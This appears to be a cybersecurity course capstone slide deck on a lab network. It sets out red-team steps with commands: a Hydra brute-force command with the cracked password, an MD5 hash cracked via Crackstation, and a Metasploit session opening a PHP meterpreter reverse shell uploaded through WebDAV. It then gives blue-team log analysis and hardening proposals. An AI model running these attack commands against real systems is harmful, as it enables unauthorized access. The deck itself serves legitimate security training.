



# **Capstone Engagement**

## **Assessment, Analysis, and Hardening of a Vulnerable System**

# Table of Contents

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This document contains the following sections:

01

**Network Topology**

02

**Red Team:** Security Assessment

03

**Blue Team:** Log Analysis and Attack Characterization


04

**Hardening:** Proposed Alarms and Mitigation Strategies

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# Network Topology

# Network Topology



## Network

Address Range:  
192.168.1.0/24  
Netmask: 255.255.255.0  
Gateway: 192.168.1.0

## Machines

IPv4: 192.168.1.1  
OS: Windows  
Hostname: Hypervisor

IPv4: 192.168.1.100  
OS: Ubuntu 18.04  
Hostname: ELK

IPv4: 192.168.1.90  
OS: Kali  
Hostname: Kali

IPv4: 192.168.1.105  
OS: Ubuntu  
Hostname: Capstone

The background of the slide is a dark red, almost black, geometric pattern composed of numerous triangles and polygons of varying shades of red and maroon, creating a complex, low-poly aesthetic.

# **Red Team** Security Assessment

# Recon: Describing the Target

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Nmap identified the following hosts on the network:

Hostname	IP Address	Role on Network
Hyper-V Azure Machine	192.168.1.1	Host Machine
Kali	192.168.1.90	Attacking Machine
ELK stack	192.168.1.100	Network Monitor (Kibana)
Capstone	192.168.1.105	Target Machine

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# Vulnerability Assessment

The assessment uncovered the following critical vulnerabilities in the target:

Vulnerability	Description	Impact
Weak Passwords	Common and simplistic passwords without the use of symbols, numbers, or capital letters	Attackers may use wordlists such as rockyou.txt to crack these commonly used passwords
Hashed Passwords	Hashed passwords without prior salting can easily be cracked using browser based tools (crackstation.net) or programs (hashcat)	Attackers with proper credentials will be able to access the system and its content
User credentials found on separate account	Another user's credentials are stored (in plain text) on a separate individual's account	User Ashton had Ryan's name and password hash stored in her account, allowing attackers to exploit Ryan as well.
WebDAV Vulnerability	WebDAV not configured properly	Attackers are able to gain shell access and modify website content

# Exploitation: Weak Passwords

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01

## Tools & Processes

Hydra and wordlist  
rockyou.txt used to gain  
Ashton's password  
( hydra -l ashton -P  
/root/Downloads/rockyou.txt  
-s 80 -f 192.168.1.105  
http-get  
/company\_folders/secret\_fol  
der)

02

## Achievements

Ashton's password was  
cracked  
Password: leopoldo

03

```
[80][http-get] host: 192.168.1.105 login: ashton password: leopoldo
[STATUS] attack finished for 192.168.1.105 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-02-08 1
4:21:35
root@Kali:/usr/share/wordlists#
```



# Exploitation: Credentials found on separate account

---

01

## Tools & Processes

Once entering Ashton's account, I was able to find user Ryan's account information

02

## Achievements

I was able to retrieve a personal note containing Ryan's account hash and instructions on how to achieve access to the browser

03

## Personal Note

In order to connect to our companies webdav server I need to use ryan's account (Hash:d7dad0a5cd7c8376eeb50d69b3ccd352)

1. I need to open the folder on the left hand bar
2. I need to click "Other Locations"
3. I need to type "dav://172.16.84.205/webdav/"
4. I will be prompted for my user (but i'll use ryans account) and password
5. I can click and drag files into the share and reload my browser

# Exploitation: Hashed Passwords

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01

## Tools & Processes

Crackstation.net was used to crack user Ryan's hashed password

02

## Achievements


Password: linux4u

This was used to gain access to the browser

03

Hash	Type	Result
d7dad0a5cd7c8376eeb50d69b3ccd352	md5	linux4u

Color Codes: Green Exact match, Yellow Partial match, Red Not found.



# Exploitation: WebDAV

01

## Tools & Processes

Using msfvenom and meterpreter to deliver a payload on the target machine

02

## Achievements

With the multi/handler exploit, I was able access the target's shell

03

```
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.1.105
LHOST => 192.168.1.105
msf5 exploit(multi/handler) > set LPORT 80
LPORT => 80
msf5 exploit(multi/handler) > options

Module options (exploit/multi/handler):

  Name  Current Setting  Required  Description
  ----  -
  LHOST  192.168.1.105    yes       The listen address (an interface may be specified)
  LPORT  80               yes       The listen port

Payload options (php/meterpreter/reverse_tcp):


  Name  Current Setting  Required  Description
  ----  -
  LHOST  192.168.1.105    yes       The listen address (an interface may be specified)
  LPORT  80               yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Wildcard Target

msf5 exploit(multi/handler) > exploit

[*] Handler failed to bind to 192.168.1.105:80 -
[*] Started reverse TCP handler on 0.0.0.0:80
[*] Sending stage (38288 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.90:80 -> 192.168.1.105:40480) at 2022-01-27 21:36:36 -0800
```



# **Blue Team**

## Log Analysis and Attack Characterization

# Analysis: Identifying the Port Scan




- Port scan occurred on Jan 27, 2022 at 7:13:40 pm
- A total of 1,695,310 packets were sent from source IP 192.168.1.90
- Event category and action would indicate network traffic and flow has been established by unknown IP

```
> Jan 27, 2022 @ 19:13:40.000 @timestamp: Jan 27, 2022 @ 19:13:40.000 flow.final: false
    flow.id: EAT/////AP/////CP8AAAHqAFawKgBafHIhL8 host.name: server1 type: flow
    source.port: 51441 source.packets: 1 source.bytes: 60B source.ip: 192.168.1.90
    event.category: network_traffic event.action: network_flow event.start: Jan 27, 2022 @
    19:13:36.319 event.end: Jan 27, 2022 @ 19:13:36.319 event.duration: 0.0

> Jan 27, 2022 @ 19:13:40.000 @timestamp: Jan 27, 2022 @ 19:13:40.000 source.ip: 192.168.1.90 source.port: 51441
    source.packets: 1 source.bytes: 60B destination.port: 8042 destination.packets: 1
    destination.bytes: 56B destination.ip: 192.168.1.105 ecs.version: 1.5.0
    host.name: server1 agent.type: packetbeat agent.ephemeral_id: e7424fa4-0061-44aa-86b8-
    eb91df465b1 agent.hostname: server1 agent.id: de2238f6-73be-44db-906f-12490aa5ab17

> Jan 27, 2022 @ 19:13:40.000 @timestamp: Jan 27, 2022 @ 19:13:40.000 destination.packets: 1 destination.bytes: 56B
    destination.ip: 192.168.1.105 destination.port: 56727 event.category: network_traffic
    event.action: network_flow event.start: Jan 27, 2022 @ 19:13:36.319 event.end: Jan 27,
    2022 @ 19:13:36.319 event.duration: 0.0 event.dataset: flow event.kind: event
    network.bytes: 116B network.packets: 2 network.type: ipv4 network.transport: tcp

> Jan 27, 2022 @ 19:13:40.000 @timestamp: Jan 27, 2022 @ 19:13:40.000
    flow.id: EAT/////AP/////CP8AAAHqAFawKgBafHIcUw flow.final: false ecs.version: 1.5.0
    destination.packets: 1 destination.bytes: 56B destination.ip: 192.168.1.105
    destination.port: 19569 event.dataset: flow event.kind: event
    event.category: network_traffic event.action: network_flow event.start: Jan 27, 2022 @
```



# Analysis: Finding the Request for the Hidden Directory




- GET requests for /company/secret folder started at 8:06:47 pm with a total of 54,844 hits
- Doc file connect\_corp\_server was requested. The file contains instructions on accessing the web browser using Ryan's credentials



# Analysis: Uncovering the Brute Force Attack


- 54,844 GET requests were made with a response status of unauthorized. This would indicate the amount of failed request that were made before the attacker was successful





# Analysis: Finding the WebDAV Connection

- A total of 126,166 requests were made for /webdav
- Files included were passwd.dav and shell.php (which were POST requests)





# **Blue Team**

## Proposed Alarms and Mitigation Strategies

# Mitigation: Blocking the Port Scan

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## Alarm

- When traffic from an unknown IP is detected
- Over 10,000 connections within an hour from a unknown IP should raise an alarm

## System Hardening

- Create a whitelist of IPs that are approved to send and receive traffic
  - IPs not on the whitelist that are trying to establish a connection to the server must be further authenticated or investigated
  - Have regular system port scans to detect any open ports and monitor accordingly
-

# Mitigation: Finding the Request for the Hidden Directory

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## Alarm

- An alarm should be put forth when unauthorized (unknown source IPs) access requests are being made
- When over 3 failed attempts at accessing hidden folders and files occur, the team should be notified

## System Hardening

- Rename folders such as “/secret\_folder” to lessen exposure and attention
- Encrypt sensitive content within these folders
- Request appropriate credentials when accessing any directory of file past “/company-folders/”. This would provide an extra roadblock against attackers

# Mitigation: Preventing Brute Force Attacks

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## Alarm

- When an unusually high number of HTTP response status: Unauthorized have occurred, an alarm should be triggered.
- When over five 401 errors have occurred an alarm should be triggered. These errors indicate a possible brute force attack

## System Hardening

- Have a password policy that would require users to come up with more complex passwords
  - Policy can be a requirement of at least one special character, capital letter, and number. Passwords must exceed 10 letters/symbols
- Lock out a user account after 5 failed login attempts for an hour

# Mitigation: Detecting the WebDAV Connection

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## Alarm

- Assuming that a Whitelist of IPs will be made, an alarm should be triggered when HTTP get requests are made from an unknown IP attempting to access “/webDAV”

## System Hardening

- Regularly updating and managing a Whitelist of trusted IPs is essential to ensure access is limited.
- A possible firewall policy that would deny any access from IPs outside the Whitelist can be deployed

# Mitigation: Identifying Reverse Shell Uploads

---

## Alarm

- An alarm should be triggered anytime a HTTP method: POST has occurred within “/webDAV”

## System Hardening

- Have a team regularly check what is behind each POST
  - When something is being uploaded, authorized individuals should know of it beforehand as any alteration of the browser should be planned
  - Limit IPs that are allowed to upload. Others with limited access should only have read only access
-

*The  
End*